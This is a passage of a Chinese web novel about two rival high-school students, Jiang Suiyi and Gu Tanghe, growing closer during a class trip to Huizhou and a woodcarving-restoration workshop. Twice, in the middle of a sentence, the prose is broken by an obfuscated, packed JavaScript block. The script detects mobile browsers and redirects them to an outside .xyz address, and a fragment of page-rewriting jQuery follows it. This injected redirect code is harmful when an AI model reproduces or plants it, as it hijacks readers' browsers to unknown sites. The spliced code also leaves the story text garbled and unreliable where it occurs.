“嗯,其实后来还有些传言,真真假假,弄得我们几个心里发慌。我一直在等阿橖,想看看他到底怎么样了,但后面就是彻底没了消息。” 毕业那年的夏天,阿爷家院里的蝉鸣似乎又在江随意耳边聒噪起来。 她记得那天闷热粘腻的空气,记得晚间突如其来的大雨,也记得收音机里主持人播报的那条突发新闻。 江河的水无声奔流,卷挟着不为人知的悲伤与离散,冲垮了少年明亮的堤岸,只留下一片废墟。 20. 无人可守 照片里顾橖河的笑容太明亮,让她无法和现在这个少年联系在一起。 “所以他之前就没有去上A中,那现在转学回来又是什么情况?”江随意的手指无意识地抠着相册的边缘。 “不清楚。”江随和摇摇头,看向妹妹,“你们现在关系怎么样?” 中考刚结束时的江随和,正满心期待着接下来的三年高中生活。 却未曾料到,妹妹与好友,他一个都没等到。 “就那样吧。”江随意含糊地应了一声,心里却翻涌起无数画面,她忽然意识到,自己对顾橖河的了解,或许连冰山一角都算不上。 “意意,”江随和轻轻按住她的手,“如果他想说,自然会告诉你。如果不想......”他没说完,但意思很明显。 有些伤口,不是旁人能轻易触碰的。 “我知道。” 房间外传来江随星咋咋呼呼的喊声,江随意把那些疑问暂时压回心底,静静地看着她哥将那些相册放进箱子里。 饭桌上,江随星正眉飞色舞地讲着学校里的趣事,肉乎乎的脸上沾了饭粒也浑然不觉。江渐明一边给他擦脸,一边问江随意:“你们下周是不是要去游学了?地点定在哪儿?” 饭菜都是爱吃的,江随意就没停下来过,鼓着腮帮子道:“陈老师说周五出发,周日回来直接返校。” “那要准备些什么东西吗?等会儿吃完我陪你去买点。”程遇夹了块排骨放进她碗里,“徽州景好,你们去玩玩也好,别成天坐那里读书,多休息,多吃点,你跟阿和每次回来都瘦了。” “妈,你对我可不是这么说的。”江随星从大碗饭里抬起头来,嘴边亮油油的,“如果不是哥和阿姐在家,你刚才压根就不会同意我买零食。” 看着小儿子一脸不服气的样子,程遇没好气道:“真是给你惯的。你也不看看自己长了几颗蛀牙,每次看完牙齿哭哭啼啼的是谁?” “可我明明就还在长身体。” 程遇夹起一块鸡翅塞他嘴里:“现在少你吃的了是吧?” 江随星咬着鸡翅,嘿嘿一笑。 江随意看着弟弟油乎乎的小脸,忍不住伸手捏了捏:“慢点吃,又没人跟你抢。” 江随星冲她做了个鬼脸,转头又扒拉了一大口饭。江渐明笑着摇摇头,顺手给程遇夹了块鱼肉:“你也吃,别光顾着他们。” 程遇闭眼。 她不生气,没关系的,毕竟家里还有两个娃。 她懒得再搭理,只是又说:“阿和也一块吧,学校里还缺点什么,你们大半个月才放一次的。” 在北江总是比南江热闹许多。 江随意坐在阳台上,看着楼下街道上熙熙攘攘的人群。弟弟在客厅里跑来跑去,嘴里喊着各种变身的咒语。 “江星星同学,你变身已经变了一个小时了,请问作业写了吗?”江随和从厨房出来,手里端着果盘,“意意,吃点水果。” 江星星捂着耳朵跑回房间。 不听不听,哥哥念经。 江随意接过果盘,叉起一块苹果:“哥,我记得你们高一的时候是不是去过徽州啊?” “去过,高一放秋假那次组织的。”江随和在她旁边坐下。 “哎,说来也好可惜,那之后全县高中就取消春秋假了。”江随意咬了口苹果:“你们当时都有什么项目啊?徽州有什么特别的吗?” 江随和想了想:“徽派建筑很有特色,白墙黑瓦,马头墙,还有一些木雕......”他突然停住,“哦,当时我们还参与了古建筑修复的实践活动,我不是和你讲过嘛,但你当时忙着训练,没什么兴趣。” 江随意手里的叉子停在半空,没反应过来:“古建筑修复?真修复啊,不怕给整坏了。” 难得在妹妹身上看到一丝傻气,江随和用手揉了揉她的头发:“都说是体验了,当然是假的,真文物守着呢。” 江随意不知怎的又想起初见顾橖河时的场景。 “文物不可以,但我爸的黑历史可以。” 所以那墙壁上刻的东西是和他父亲有关吗? 但父母离世,他还有可以守的吗? 接下来的几天,江随意总会在各种场合偶遇顾橖河。 食堂排队时隔着几个人的背影,图书馆书架间一闪而过的校服衣角,甚至是在去办公室问问题的路上。 两人目光相接时,江随意总是先上前搭话。 就连周望玥都忍不住吐槽起来:“意意,你表现得好明显。” 这倒让江随意不明白了。 “什么好明显?” “你和顾橖河之间准备再次一较高下了吗?要把当初的县一给追回来?” 江随意眨了下眼睛,语气严肃:“你这句话有歧义,我可没有在追他。” 周望玥:“?” 不是,我都没想到这一层啊。 “可你最近太关注他了,又是讨论题目又是借各科笔记的。而且他本来在班里话就不多,唯独和你能聊上,大家私下里都说你俩学霸不打算给别人活路了。” “南北两江的较量终归在你俩之间握手言和了。” “打住。”江随意伸手做了一个‘收’的动作,“北江就是不如南江,你看顾橖河不都转我们这了吗?” 周望玥:“......” 我说的是这个意思吗? 我说的是你俩最近关系走太近了好吗! 顾橖河也察觉到了这种变化,似乎在那次的聊聊后,他和江随意的关系有了点不同。 “想什么呢?”秦择舟走到他身侧,用肩膀撞了一下他,“又发呆,你不要吓我,哥年纪大了,受不住的。” “在想江随意。”他如实道。 秦择舟取下眼镜,捏了捏眉心。 “阿橖,我总觉得不对。” “你真准备去游学?”秦择舟有点不放心,这是在顾老师一家出事后,顾橖河第一次离开他的视线范围超过两天。 “上回你在学校......我是真被你吓得快没命了。阿橖,我们缓一缓行吗?” 秦择舟是希望顾橖河能够慢慢融入集体,逐渐适应和其他人交流。而且目前看来,一切都在往好的发展,可前段时间突然发病,让秦择舟不敢再冒进。 顾橖河没有说话,但态度很明显。 他妥协。 叹气道:“一定要记得按时吃药。有什么问题马上联系我......”说到一半,秦择舟忽然烦躁起来,一脚踢在柜子上,扯松了领带。 人前温和好脾气的秦老师低骂一句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672706|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脏话。 “要不我和学校申请一块去吧?” 顾橖河一抬眼:“高中部游学关你初中部什么事?” “那你要是出什么事,让我怎么......”秦择舟哽咽住。 你让我怎么跟顾老师和阿姐交代? 顾橖河垂下眼睛,看着桌上的药:“我知道。” 秦择舟做了多少,他都知道的。 阿姐希望的,他也知道。 至死,他们也没有怪过。 他都知道。 答应阿姐的,他也在努力,很努力去做。 可活着的人就是没办法走出来。 秦择舟盯着他看了半晌,最终只是默默地替他整理起东西。 “出发那天我送你,至少让我看着你上车。到了要发消息,去哪里也说一声,晚上回去了也让我知道一下......我...我不是在监视你,阿橖,总之,我得知道你的情况。” 抢救室外的等待是煎熬,是折磨,亦是无能为力。 一次是老师,一次是阿姐。 还有一次,是顾橖河。 顾橖河点点头,目光落在桌角的相框上。那是决定回来前,秦择舟硬拉着他拍的,说是为了纪念踏出的第一步。 照片里的他穿着黑色高领毛衣,表情冷淡,没有生气。 出发那天是个阴天。 大巴车上,同学们兴奋地叽叽喳喳,五个多小时的车程在嬉闹中过得很快。 当大巴驶入徽州地界时,天上正下着点点细雨,窗外的景色渐渐变成了连绵的青山与白墙黛瓦的村落。 由于人数众多,每个班级安排的行程都不一样。 直到导游拿着喇叭介绍时,江随意才有了实感。 每一次的游学对于他们来说都意义非凡。 细雨中的徽州古城像一幅水墨画。白墙黑瓦的民居沿着蜿蜒的小巷排列,马头墙在雨雾中若隐若现。 “这叫‘四水归堂’。”导游指着一座老宅的天井,“雨水从四面屋檐流入天井,寓意‘肥水不流外人田’。” 江随意站在人群后面,雨水顺着伞沿滴落。她伸手接住一滴,凉凉的。 “看那里。” 导游指着屋檐下一块木雕:“那是‘喜鹊登梅’,象征喜上眉梢。” 江随意顺着他指的方向看去,果然看见一只栩栩如生的喜鹊站在梅枝上。木雕虽然年代久远,但细节依然清晰。 “......徽派建筑讲究‘天人合一’,大家看那些马头墙,不仅能防火,还象征着......” 雨越下越大,同学们三三两两挤在屋檐下躲雨。江随意和周望玥共撑一把伞,站在一座祠堂的门廊下。 祠堂的木门半开着,里面黑漆漆的。江随意好奇地探头张望,突然一阵风吹来,雨点斜着打在她脸上。 “同学们进来吧。”带队老师站在祠堂正门口招手,“外面雨太大了,我们在这里避一避。” 祠堂内部比想象中宽敞许多。高高的横梁上雕刻着精美的图案,虽然有些褪色,但依然能看出当年的华丽。正中央摆着一张供桌,上面放着香炉和画像。 “这是程氏宗祠,有百年历史了。”导游讲解道,“大家参观的时候注意些,等会儿我们去下一个点。” 21. 初次修复 “徽州有三雕,木雕、石雕和砖雕。” 导游的手电光扫过最高处的梁枋,随即切换成细小的红点,精准落在一处雕花上。 “大家仔细看这些。” 导游的声音被细雨敲打青砖的沙沙声衬着:“等一会儿如果雨还下,那我们就要调整行程了,先去做室内的活动。原本有一项木雕工艺体验的,但咱学校人比较多,木雕师傅人手不够,没办法全都做一遍,暂时先排给其他班了。” 他话锋一转:“不过文物中心那边新到了一组修复师,正好带大家体验木雕修复,为明日参观古建筑修复打个底。” 周望玥立刻贴近江随意,压低声音:“哇塞!真能摸文物啊?可是意意,我是手残党,别说修复了,万一弄坏了不会要我赔钱吧?” “你想多了。”江随意挑眉,目光顺着导游方才指的方向,“顶多是些有瑕疵的练习品。” 午饭拖到下午一点。八人围坐大圆桌,桌上热气蒸腾,全是当地特色菜。咸鲜入味的臭鳜鱼、油亮软糯的毛豆腐、笋干腊肉煲香气扑鼻...... 吃饱喝足后回到连排的民宿小憩。 江随意和周望玥以及同班两个女孩子分到二楼最东边的屋子。 周望玥一进门就把自己摔进床里,立刻喊道:“哎哟,这床板够硬啊。” 江随意正有条不紊地整理行李箱,头也不抬:“那你还滚得那么起劲。” “这不是能躺着歇会儿就不计较那么多了吗?”周望玥闷在枕头里,“一大早爬起来坐了五个小时的大巴,我就算是铁腚也受不了啊。” 同屋的林琳也瘫在另一张床上:“我也是,腰都快直不起来了。到了后又直接去古城,还是挺赶的,最好继续下雨,咱们等会儿可以在室内进行。” “不过可惜了,听导游的意思估计有些项目弄不了。” “三天两晚,我们整个段加起来快五百人了,行程肯定紧张。”和江随意一起整理东西的女孩叫林一娢,是3班的文艺委员,倒不是说擅长才艺,只是人缘非常好,每次组织活动都能找来不少人。 林琳翻了个身坐起来:“那还是过得慢一些吧,难得出来玩不想回学校。” 江随意把东西摆好,起身去开窗。雨声渐歇,潮湿的雾气笼着远山,在白墙黑瓦的建筑间浮动。 楼下回廊里,顾橖河与几个男生抱着被褥走过,似乎察觉到了视线,他抬头,目光看向倚窗的江随意。 他嘴唇无声地动了一下。 江随意没辨清。 “看什么呢?”周望玥突然凑过来。 江随意不动声色地掩上半扇窗,转身:“群里通知集合时间了吗?” 周望玥被岔开话题,打开手机扫了一眼。 “呀,分组已经出来了。” “是吗?都没注意,我们和谁一块啊?”林一娢也拿出手机看了一眼,“啥意思,和陈明明一组啊?不是吧,体委运动倒好,上次通用技术课上做小板凳,他差点没把林尧给摔进医院里。” 周望玥用胳膊肘碰了碰江随意,带着点调侃:“顾橖河跟我们一组诶,意意。” 江随意心头一跳,瞬间明白了顾橖河刚才的口型——等会儿见。 集合时,雨彻底停了,只余檐角滴答的水珠,空气清冽了几分。几十号学生挤在民宿后方的小工坊里,叽叽喳喳兴奋不已。 按已经分好的小组围坐在各自的桌前。 陈明明哭丧着脸挠了挠头:“完蛋了,又是这种手工活。” 林尧凉凉接话:“问题不大,至少这次是修复木雕,用不着试坐。” 陈明明沉默两秒:“你怎么知道那木雕不是雕在板凳上的。” 林尧:“......谢谢,那你自己坐。” 几个女生被逗笑了。 “反正我也是不行的,我上回做的那小板凳也是个花架子,坐不了人的。” 江随意正笑着,转头对上顾橖河,顿了一下,又道:“你上次的不是被老师打了高分,看来这次得靠你了。” 顾橖河:“这次是修复木雕。” “说不定也是通的呢。” 俩人一来一回,其余几个人互相交换着眼神,默默笑着。 周望玥的手机亮了一下,是林一娢发来的消息。 【双木:他俩看起来不像是要一决高下的样子......】 【代表月亮消灭美少女战士:√】 【代表月亮消灭美少女战士:他俩像是谈了一样】 【双木:以前在初中部,小江可是碾压型选手,根本不给北江活路的】 【双木:现在顾橖河也转来南江了,他俩准备一起不给大家活路了吗?】 【代表月亮消灭美少女战士:读书人的事少管】 【双木:俺也是读书人呜呜呜呜就要八卦】 【代表月亮消灭美少女战士:卦不了一点,目前看起来纯老对手之间惺惺相惜,但是吧】 【双木:但是吧,就有点好嗑】 “聊啥呢?”林琳跟着把脑袋凑过来瞧。 林一娢将聊天记录递了出去。 林琳打开了新世界的大门。 【不进前五十不改名:啊啊啊?啥呀?谈了?】 【双木:没谈】 【双木:但我先嗑为敬】 【不仅前五十不改名:那我...?随一个?】 身旁的周望玥憋着笑,肩膀微微抖动。 江随意感到莫名其妙:“坐大巴把脑子颠坏了?” 周望玥迅速息屏:“胡说,我脑袋灵光着呢。” 江随意:“那你笑什么?” 周望玥故作神秘:“天机不可泄露。” 嬉闹声忽然停了,几个人从门口进来。 导游:“这几位呢就是我们接下来这堂木雕修复课的老师。” 简单介绍过后,就开始给每个小组分发木雕修复的工具。 “修复如医病,耐心第一,找准症结才能下刀。”为首的老师傅声音沉稳,“木雕是门需要钻研一生的技艺,修复更是难上加难。” 讲解完工具用法,实操开始。每人分到一块巴掌大小、残缺不一的木雕花板。 江随意托起自己那块。木质温润,纹路里嵌着积垢,一处花瓣断裂,边缘毛糙。 她指尖捏住刻刀,手腕悬空,刀尖悬在断口上方,迟迟不敢落下,努力回想这刚才师傅教的握法。 顾橖河的目光落在对面。女孩低垂着眼,眉心无意识地皱起,全神贯注地观察着木头的纹理走向,似乎是在寻找最不破坏原貌的切入点。 她握刀的手法略显生疏,却十分平稳,不见丝毫抖颤。 老师傅巡视过来,停在江随意身后,默默看了一会儿她小心翼翼剔除毛刺的动作,眼中露出赞许:“小姑娘可以啊,手很稳。以前碰过这个?” 江随意摇摇头:“第一次。” “头一回,那挺不错的。”老师傅点点头,俯身指点,“这个地方,顺着木纹走刀,轻一点......对,就这样。打磨用细砂,一点点蹭,不要急。” 在师傅指导下,江随意的动作渐渐流畅,断裂的花瓣边缘被小心地修整、打磨。 修复过于耗时费力,已经有不少人开始喊累了。 周望玥停下手中的动作,捏捏脖子,闭了会儿眼,再睁开时,江随意依旧沉浸在其中。 “意意,你不累吗?” 其他人也看过来。 江随意闻声抬头,直到这时,她才感觉到手腕的酸胀,可心底却充盈着一种奇怪的满足感,仿佛亲手抚平了时光的一道小小皱褶,那点酸痛便显得微不足道了。 老师傅粗糙的指腹点了点那块被江随意仔细打磨过的小小花瓣断口,那里原本毛糙的茬口已经变得温顺服帖,几乎融入了原有的线条里。 他眼里的赞赏更浓了些,带着点老匠人看到好苗子时那种纯粹的欣喜:“是块好料子,静得下心,难得。” 他直起身,目光扫过周围几个桌面上进展各异的木雕:“都看看这位同学的,修复这东西,急不得,躁不得,就得像她这样,把心沉进去,跟木头说话,摸透它的脾气。” “跟木头说话?”旁边一个男生小声嘀咕,显然觉得这话玄乎。 老师傅耳朵尖得很,哼了一声,没回头,只把目光重新落回江随意手上那块花板:“木头也有灵性!你不懂它,它就跟你犟,一刀下去,不是崩了就是裂了。懂了它,顺着它的纹理筋骨,它自然就服帖了。” 他顿了顿,看着江随意依旧专注的侧脸:“小姑娘,这感觉,是不是有点意思了?” 江随意指尖拂过那处被自己“驯服”的断口,木头温润的触感下,一种微小的成就感悄然滋生。 那感觉有些陌生,不同于解开一道难题的纯粹理性快感,更像是让一段沉寂的美丽重新找到了呼吸的节奏。 她轻轻“嗯”了一声。 “那就对喽。”老师傅朗声一笑,带着心满意足的神气,背着手踱开,走向下一个需要点拨的小组。 时间在刻刀的起落和砂纸的轻蹭中无声流淌。 “哎哟我的老腰……”周望玥丢开手里的细砂纸,整个人像被抽了骨头似的往后一瘫,靠在椅背上,仰头望着屋顶的横梁,“不行了不行了,我感觉不是在修复木雕,是它们在修复我” “修复我的耐心,并且修到快要归零了!” 她这一嗓子像是按下了某个开关。 “我也是,眼睛都要看花了!”林琳揉着发酸的手腕,苦着脸看着自己那块几乎没什么进展的木雕花板,上面的毛刺似乎比刚开始时还要张牙舞爪,“这根本就不是我能驾驭得了的。” “感觉手指头都不是自己的了,”林一娢也放下工具,活动着僵硬的指关节,“又酸又胀。” 陈明明更是直接摊开手掌,展示着指尖被刻刀硌出的红痕:“看,工伤!这绝对是工伤!我觉得我需要法律援助。” 林尧瞥了他一眼,又一次补刀:“你那是握刀姿势不对,跟法律没关系,倒是和智商可能有点关系。” “噗——”周望玥没忍住笑出来,随即又觉得自己的腰更疼了,赶紧龇牙咧嘴地揉着。 一片哀鸿遍野中,唯有江随意显得格外安静。 她依旧低着头,额前几缕碎发被别到耳后。动作不快,甚至可以说很慢,刻刀在木头上移动的轨迹细微得几乎难以察觉。 每一次下刀都十分的谨慎,那块巴掌大的花板在她手中仿佛不再是冰冷的死物,而是一个需要极其耐心沟通的生命体。 “啧,意意,你是铁打的吗?”周望玥揉着腰,凑近了些,由衷的佩服,“我坐你旁边都感觉要累趴了,你是真的强。” 江随意动作终于停下。她缓缓抬起眼,眼神似乎还带着点从那个木雕世界抽离时的恍惚。 “还好。” 她轻轻转了转手腕,声音因为长时间的专注而显得有些微哑:“就是……有点停不下来。” 她低头,指尖再次抚过那块花板上已经变得光滑圆润的修复处,仿佛带着安抚人心的力量。 “好像真的能摸到它本来的样子。一点点把它修好,心里头,有点满。” 这种描述对周望玥来说实在太过抽象。她眨巴眨巴眼睛,一脸茫然:“有点满?意意,你这说的......是肚子饱了的感觉吗?” 江随意被这直白的解读噎了一下,一时竟不知该如何解释那种难以言喻的内心充盈感。 她最终还是放弃,只无奈地看了周望玥一眼,唇角微微弯起一个浅浅的弧度,算是默认了这个有点好笑的比喻。 江随意重新低下头,拿起细砂纸,准备继续打磨一处花瓣的卷曲边缘。然而,手腕内侧传来一阵明显的僵涩感,甚至带着点轻微的抽痛。 她动作一滞。 “歇会儿吧。”顾橖河的声音从对面传来,不高,却清晰地穿透了周望玥和其他人的絮叨音。 江随意抬头,对方不知何时放下了自己的工具,正看着她。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692972|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “手腕,”顾橖河的目光在她刚才微微僵住的手腕处停留了一瞬,“别绷太久了,休息一会儿。” 周望玥咋咋呼呼地附和:“对对对,顾橖河说得对。意意你快点歇一歇,劳逸结合。你看我,我就特别会逸!” 她这一打岔,让江随意绷着的那点劲儿彻底松了下来。她轻轻呼出一口气,放下了砂纸和刻刀,学着周望玥的样子,向后靠在椅背上,尝试放松紧绷的肩膀和手臂。 酸涩感顿时更加清晰地蔓延开来。 顾橖河也移开了目光,没再多说什么。 他拿起自己那块木雕花板,用指腹摩挲着打磨过的部分,像是在检查光滑度。 “大家休息十五分钟。”导游的声音适时响起,带着点解救众生的意味。 “后院准备了点徽州特色小点心,徽墨酥、嵌字糖豆、蟹壳黄烧饼什么的,都去垫垫肚子,活动活动筋骨,回来再继续!” 点心二字瞬间驱散了满屋子的颓丧。 “走走走,饿死我了!” “烧饼烧饼,我的最爱!” “快点儿,去晚了就抢不到。” “一群饿死鬼急什么......诶,不是,等等我!” 几乎是瞬间,工坊里的人就呼啦啦走了一大半。 周望玥更是像原地复活一样:“意意,走不走?” 江随意揉着手腕:“我再坐会儿,你们先去。” “行,我给你抢点。” 于是周望玥一手拉起林一娢,一手拽着林琳:“冲啊姐妹们,补充能量要紧!” 陈明明和林尧也紧随其后。 喧嚣如潮水般退去,阳光西斜,从高高的木格窗斜斜地射入几道金灿灿的光柱,将这片角落映照得格外静谧,清晰。 工坊里只剩下他们两人。 江随意没动,依旧靠在椅背上,目光落在自己那块只修复了小半的木雕花板上。 顾橖河也没起身,他抵着头,手指在那块木雕表面轻轻划着圈。 空气里只剩下彼此浅浅的呼吸声,以及外边被距离模糊了的笑闹声。 这突如其来的安静,江随意甚至能清楚地听到心脏跳动的声音,和顾橖河那边传来的细微呼吸声几乎同步。 她忽然觉得有点渴,指尖下意识地在桌面上蜷了蜷,又松开。 顾橖河打破了沉默,他没有抬头,仍看着手中的木雕,手上的动作却停下了。 “师傅说的‘跟木头说话’,你感觉到了?” 江随意微微一怔,没想到他会提起这个。 “嗯。就是下刀的时候,好像能感觉到它的纹路往哪里走更顺,哪里会卡住。” “也挺奇怪的。” “不奇怪。”顾橖河终于抬起了头,目光落在她脸上。那双眼睛里清晰地映着窗户透进来的金色光斑,亮得惊人。 “修复,本来就需要理解它原本的结构和气韵。理解到了,手上自然顺。” 他话语里的那份认同和理解,像一根羽毛,轻轻刮过江随意心底那片刚刚被触动后隐秘的新奇土壤。 她避开了顾橖河那过于直接的目光,视线重新聚焦在自己那块木雕上,但耳根却控制不住地微微发热。 “你的呢?”她清了清有点发干的嗓子,试图把话题引开,也掩饰自己那一瞬间的慌乱。 “我不行。” “修不好。” 顾橖河的声音平静,却让江随意心头一动。 不知为何,她觉得对方在难过。 顾橖河再次捏起刻刀,却始终没有落下去。 椅子腿与地面摩擦发出轻微的“吱呀”声。 顾橖河闻声抬头,只见江随意已经绕过桌子,走到了他的旁边。身影盖了下来,她身上带着一种干净浅香的气息,混合着淡淡的松木屑味道。 “手给我。”江随意的声音在他头顶响起。 顾橖河完全愣住了,身体僵在那里,大脑一片空白。 给她?手? 江随意似乎没察觉到对方的迟疑。她微微俯身,没有等他的回应,直接伸出自己的手,轻轻握住了他持刀的手。 她的掌心带着热意。 顾橖河手被触碰到的地方,也像着了火似的灼烧起来。 那一瞬间的触感被无限放大,顾橖河身体轻轻一颤,一股强烈的酥麻感蔓延至整个手臂,然后毫无道理地直冲头顶,让他头皮都微微发炸。 “别动。”江随意手上微微用力,稳稳地托住了他。 顾橖河甚至不敢抬眼,视线死死地钉在两人交叠的手上。可胸腔里的那颗心,却完全不受控制,疯狂地跳动起来,发出只有自己能听见的轰鸣。 “试着松开点刀。”江随意的声音再次响起,离得很近,对方身上的气息若有若无贴住他。 “手指别绷那么紧,手腕放松。” 江随意的话语清晰地传入耳中,依旧没有察觉到对方的异样,似乎只是在教人如何握刀。 顾橖河几乎是屏着呼吸,每一根手指的放松都显得异常艰难,仿佛脱离了大脑的控制。 江随意的力道稳定而耐心,她微微调整了一下姿势,靠得更近了些,低着眼,似乎在确认顾橖河的动作是否正确。 “对,就这样。” 江随意的气息拂过顾橖河的指尖,带来一阵细微的痒意。 “刀是活的,木头也是活的。感受它的纹理,顺着它走,别跟它硬顶。” 顾橖河无法思考,只能被动僵硬地顺着她的话去做。 就在这时,江随意那只手,极其自然地且带着点引导意味向上移了几分。 她的掌心,完全贴上了他的手背。 掌心的温度透过皮肤清晰地传递过来,有一种不容忽视的存在感。那带着暖意的触感和顾橖河微凉的手形成了对比,却同样霸道地侵占了他的所有感官。 顾橖河的呼吸彻底乱了。 罪魁祸首却还跟没事人一样,继续认真教学。 “可以修好的。” 22. 拥有彩虹 周望玥怀里揣着几份吃的往工坊跑去,忽然定身,一句国粹脱口而出。 她慌乱地往嘴里塞了一块糕点,试图不让自己发出声,然后弯下腰,鬼鬼祟祟摸到窗户边。 夕阳的光斜斜地照进来,给一切都镀上了一层金边。地上,两人的影子被拉长,融成模糊的一团。 那动作太自然,又太亲密。 周望玥忍不住用手机拍下这一幕发给程瑶。 【C:?】 【C:意意这是在干嘛?】 【代表月亮消灭美少女战士:在主动出击,攻略城池】 【C:啊?】 【C:意意看上顾橖河了?不是,他俩,】 【C:啥情况啊?】 【代表月亮消灭美少女战士:很难评的情况,我暂时也不好说】 【代表月亮消灭美少女战士:不过光这么看,他俩配一脸】 工坊内,江随意的教学还在继续。 “注意这里。毛刺太细,刻刀容易滑脱,试试用最细的砂纸,轻轻卷着蹭过去。” 她的声音平淡,仿佛只是在讨论一道几何题的辅助线该如何添加。 但这些话落在顾橖河耳中,却如同石子投入滚烫的岩浆,激起一片无声的灼热气泡。 顾橖河全部的意志力都用来对抗那只手上传来的几乎要将他点燃的温度。 “放松,你今天怎么这么紧张?”江随意又重复了一遍,语气有些无奈,似乎终于意识到手下肌肉的紧绷,“你这样,连刀都拿不稳,怎么感觉纹理?” 她下意识地用拇指在对方紧绷的手背上安抚性地按了一下。 轰—— 顾橖河脑子里最后那根弦彻底断了,连带着脖颈都泛起一片明显的红。 他猛地抽回了自己的手。 动作太突然,力道没收住,手肘“哐当”一声撞在桌沿,桌上几把刻刀和砂纸跟着跳了一下,发出不大不小的声响。 江随意被他这突如其来的动作吓了一跳,覆盖在他上面的那只手也瞬间落空,停在半空中。 她困惑地低下去,终于看清了顾橖河此刻的状态。 那人也微垂着头,额前碎发遮住了部分眉眼,但仍旧能看见他紧抿的唇线。 从她的角度,可以很清楚看到顾橖河原本白皙的耳廓此刻红得快要滴血,那抹红色甚至晕开到了颈侧。 空气骤然凝固,刚才那份专注的教学氛围荡然无存。 江随意后知后觉地意识到,刚才的举动似乎过于自然,也越过了某种界限。 她那只停在半空的手,慢慢地收了回来,指尖蜷缩进掌心,仿佛也沾染上了对方皮肤上那股不寻常的热度。 江随意张了张嘴,想缓解气氛,可喉咙里像堵了一团棉花,一个字也挤不出来。 她自己脸上也开始不受控制地发烫,热度顺着耳根悄悄爬升。 就在这时—— “咳咳咳......”一声刻意压低的咳嗽声从门口传来。 两人同时扭头看去。 只见导游抱着几卷新砂纸站在门口,脸上挂着一种看破不说破意味深长的笑容。 他显然看到了刚才那一幕。 “哟,休息时间还在用功啊?精神可嘉。”导游笑眯眯地走过来。 他的目光在江随意通红的耳朵上溜了一圈,又扫过顾橖河那尚未褪去的红晕,最后落在两块并排放着的木雕花板上。 “进度怎么样啊?修复可是个细致活,急不得,但也……别太投入了哈。” “哎呀,年轻真是好。” 最后几个字,他说得慢悠悠。 顾橖河迅速转回头,试图平复那跳得又快又乱的心。 江随意也往旁边挪了一点,拉开些距离,盯着方才那块木雕花板,假装研究上面的纹路。 窗外,周望玥在导游那声咳嗽响起时就迅速蹲了下去,把自己缩在窗台下,屏住呼吸,只露出一双贼亮的眼睛。 【代表月亮消灭美少女战士:卧槽,被抓包了】 【C:你被抓住了?】 【代表月亮消灭美少女战士:不是,是导游进来了,他俩脸皮子都薄,我要笑死了】 【代表月亮消灭美少女战士:人一旦忙起来就好多小动作,意意,真的是笑死我了哈哈哈哈,终归是孩子大了哇】 周望玥又咬了口烧饼,然后发了条朋友圈。 【配图:夕阳】 【文案:也许高手之间的对决,最后往往会超越纯粹的竞技】 晚上洗完澡躺在床上的江随意,刷到了周望玥这条不知所云的朋友圈。 【一条大江:真颠坏了?】 周望玥一个枕头砸向她:“我在默默守护,你却如此想我,真是令人伤心。”然后迅速贴近她,“意意,和我透露一下,你和顾橖河现在是个什么情况?” 江随意推开她靠过来的脑袋。 “没有情况。” “就说一点点嘛。” “那你说说,朋友圈发的什么意思?”江随意不理解,点进退出几次仍旧看不明白,评论区的共友全都留下了让人捉摸不透的微笑。 就连程瑶也在列。 周望玥:“没有啊,就和大家分享一下今天的夕阳,一块欣赏。” 江随意:“我看起来脑子也坏掉了吗?高手是谁?” 周望玥:“好吧,我坦白。我们在偷偷嗑你和顾橖河。”说完,她飞快把被子一蒙,整个人埋了进去。 “不是,你……”江随意的手伸进被子里挠她痒痒,“出来说清楚。” “好了好了!哎呀,”周望玥掀开被子坐起来,头发乱糟糟,喘着气,“给无聊的生活找点乐子嘛。” 江随意给程瑶发去私信。 【一条大江:不是你怎么也跟着周周她们瞎起哄?】 程瑶秒回一张图片。 【C:很难不嗑】 还没点开大图,江随意的脸就先热了。 她把枕头砸了回去:“你什么时候拍的?” 周望玥:“......” 装死中,勿扰。 【C:我们下午去做了徽墨,还挺有意思的,你们呢?】 【一条大江:木雕修复】 【C:这雕刻得好漂亮!】 【C:我们下午活动多,现在才刚吃完在附近逛逛,我也买了个木雕挂件,旁边还有卖小鱼灯的】 她又发来一张图片,上面是一尾发光的锦鲤。 【C:很喜欢,可惜带不回去】 【C:不过我们导游说明天晚上有鱼灯夜游,可以一起去看】 周望玥:“意意,你啪嗒啪嗒聊啥呢?” 江随意把手机递给她:“程瑶说明天晚上有鱼灯夜游。” “鱼灯夜游?我刷到过诶,可好看了。” 林一娢和林琳此时推门进来,喊着:“楼下点篝火了,在烧烤呢,你俩快点下来。” “啊?”江随意看着新换的睡衣,“吃烧烤?” 林一娢见状:“你俩洗过了啊?” 周望玥:“对啊,不是说晚上没活动嘛。” 林一娢:“还不是陈明明他们几个男生带的头,找民宿老板借了烧烤架,导游把他的音响也拿出来了。” 林琳进房间拿了手机:“大家都下去到院子里了,虽然有点挤,但反正一个班的,人多热闹啊。” “去不去?” 周望玥爬起来:“当然去,反正时间还早,大不了回来再洗一次。”她推了推江随意,“走嘛走嘛。” 江随意本就没有困意,也起身去换了衣服。 除了几个请假没有参与游学的,班里三十多个人几乎全在院子里了。 院子中央,篝火正旺,映照在围坐的年轻脸庞上,夜间的凉意也被驱散。 这一堆,那一堆,好不热闹。 木柴燃烧的噼啪声混着油脂滴落炭火的滋啦声,是这个夜晚最生动的背景音。 